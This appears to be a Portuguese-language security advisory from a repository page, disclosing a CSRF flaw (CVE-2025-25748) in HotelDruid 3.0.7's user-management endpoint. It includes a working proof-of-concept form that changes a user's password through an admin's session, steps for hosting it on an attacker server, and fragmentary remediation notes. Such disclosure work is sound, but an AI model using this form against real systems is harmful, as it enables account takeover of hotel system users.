huyvo2910/cve-2525-25748-cross-site-request-forgery-csrf-vulnerability-in-hoteldruid-3.0.7Vulnerabilidade de Falsificação de Solicitação entre Sites (CSRF) no HotelDruid 3.0.7 (CVE-2025-25748)
Uma vulnerabilidade de Cross Site Request Forgery (CSRF) no endpoint gestione_utenti.php do HotelDruid 3.0.7 permite que atacantes realizem ações não autorizadas (por exemplo, modificar senhas de usuários) em nome de usuários autenticados, explorando a falta de validação de origem ou referer e a ausência de tokens CSRF.
Esta vulnerabilidade expõe todas as contas de usuários — incluindo as administrativas — a alterações não autorizadas sem o consentimento do usuário.
O seguinte formulário malicioso demonstra como um atacante pode forçar um administrador logado a alterar a senha do usuário ID 2 para maliciouspassword:
<form method="POST" action="http://localhost/hoteldruid/gestione_utenti.php"> <input type="hidden" name="anno" value="2025"> <input type="hidden" name="id_sessione" value="20250118062407or6tODG42f79QvMA2429"> <input type="hidden" name="modifica_pass" value="SI"> <input type="hidden" name="id_utente_pass" value="2"> <input type="hidden" name="prima_pass" value="maliciouspassword"> <input type="hidden" name="seconda_pass" value="maliciouspassword"> <button type="submit">Submit</button></form>
Salve o código acima como csrf_attack.html.
Sirva-o usando Python (servidor controlado pelo atacante):
python3 -m http.server 8080
Direcione a vítima para:
http://<attacker-ip>:8080/csrf_attack.html
Uma vez submetido, o formulário envia a requisição para o HotelDruid, alterando a senha do usuário ID 2 para maliciouspassword, usando a sessão ativa da vítima.
O HotelDruid é um sistema de gerenciamento de propriedades de código aberto amplamente utilizado para hotéis e aluguéis de temporada. Como um sistema multiusuário com controles administrativos para gerenciamento de usuários, garantir que apenas usuários autorizados possam modificar credenciais de conta é crítico para a segurança geral do sistema.
Vulnerabilidades CSRF exploram a confiança que um servidor deposita na sessão do navegador do usuário. Se uma vítima está logada e visita uma página maliciosa, a página pode enviar requisições não autorizadas silenciosamente para a aplicação vulnerável, usando a sessão ativa da vítima. No HotelDruid, a falta de defesas CSRF em ações críticas — como alterar senhas de usuários — permite que atacantes comprometam completamente as contas sem interação do usuário além de visitar um link malicioso.
gestione_utenti.phpmodifica_passid_utente_passprima_passseconda_passOrigin ou Referer é realizada.gestione_utenti.php.Referer e Origin para garantir que as requisições venham de origens confiáveis.id_sessione) na URL.